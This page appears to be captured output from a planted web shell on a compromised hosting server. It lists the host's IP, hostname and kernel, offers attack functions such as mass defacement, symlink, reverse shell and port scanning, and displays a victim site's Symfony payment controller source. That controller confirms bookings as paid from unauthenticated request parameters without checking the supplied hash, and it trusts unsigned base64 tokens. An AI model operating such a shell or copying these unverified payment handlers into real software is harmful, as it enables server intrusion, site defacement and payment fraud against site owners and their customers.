ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Viewing: PaymentController.php
<?php namespace App\Controller; use App\Entity\BookingRoom; use App\Entity\Country; use App\Entity\Payment; use App\Entity\PaymentOption; use App\Entity\PaymentProvider; use App\Entity\Room; use App\Entity\Visitor; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class PaymentController extends AbstractController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } /** * @Route({"es": "/payment/{token}","en": "/payment/{token}"}, name="app_payment") */ public function index(Request $request): Response { $tokenRef=json_decode(base64_decode($request->get("token"))); $booking=$this->entityManager->getRepository(BookingRoom::class)->find($tokenRef->booking); $payment=$this->entityManager->getRepository(Payment::class)->findOneBy(["transactionRef"=>$tokenRef->ref]); // dd($this->entityManager->getRepository(Country::class)->findAll()); return $this->render('payment/index.html.twig', [ 'controller_name' => 'PaymentController', 'companyName' => $this->getParameter("app_client"), 'host'=>$this->siteURL(), 'tokenData'=>$tokenRef, "token"=>$request->get("token"), 'booking'=>$booking, 'payment'=>$payment, 'domain'=>$this->getParameter("app_domain"), 'visitor' =>$this->entityManager->getRepository(Visitor::class)->findOneBy(["webAgent"=>$_SERVER['HTTP_USER_AGENT']]), 'paymentProviders'=> $this->entityManager->getRepository(PaymentProvider::class)->findAll(), 'countries'=> $this->entityManager->getRepository(Country::class)->findAll(), ]); } /** * @Route({"es": "/payment_notify","en": "/payment_notify"}, name="app_payment_notify") */ public function notifyPayment(Request $request){ $idReqDoh= $request->get("idReqDoh"); $rDvs= $request->get("rDvs"); $amount= $request->get("rMt"); $provider= $request->get("mode"); $transactionRef= $request->get("rI"); $transactionHash= $request->get("hash"); $payment=$this->entityManager->getRepository(Payment::class)->findOneBy(["transactionRef"=>$transactionRef]); if(!is_null($payment)){ $room=$this->entityManager->getRepository(Room::class)->find($payment->getBooking()->getRoom()->getId()); $room->setIsFree(true); $booking=$this->entityManager->getRepository(BookingRoom::class)->find($payment->getBooking()->getId()); $booking->getPayment()->setPaymentOption( $this->entityManager->getRepository(PaymentOption::class)->findOneBy(array('isCash'=>true))); $booking->setPaymentAsBeenConfirmed(true); $payment->setIdReqDoh($idReqDoh); $payment->setRDvs($rDvs.$provider); $payment->setAmountValidated($amount); $payment->setUpdateAt(new \DateTimeImmutable()); $this->entityManager->persist($room); $this->entityManager->persist($booking); $this->entityManager->persist($payment); $this->entityManager->flush(); $this->addFlash("success","payment confirm, amount: ".$amount.", with ref: ".$idReqDoh); } return new JsonResponse( array( "idReqDoh"=> $idReqDoh, "transaction"=> $transactionRef, "amount"=> $amount ), Response::HTTP_OK ); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST']; return $protocol.$domainName; } /** * @Route("/api/v1/payment_option_update", name="payment_option_update") */ public function updatePaymentOption(Request $request){ $data = json_decode($request->getContent(), true); $provider= $data['idOption']; $tokenRef= $data['token']; $tokenRef=json_decode(base64_decode($tokenRef)); $payment=$this->entityManager->getRepository(Payment::class)->findOneBy(["transactionRef"=>$tokenRef->ref]); $payment->setPaymentOption($this->entityManager->getRepository(PaymentOption::class)->find($provider)); $this->entityManager->persist($payment); $this->entityManager->flush(); return new JsonResponse( array( "provider"=> $provider, "payment"=> $payment->getPaymentOption()->getPaymentName(), ), Response::HTTP_OK ); } }
Coded With 💗 by
0x6ick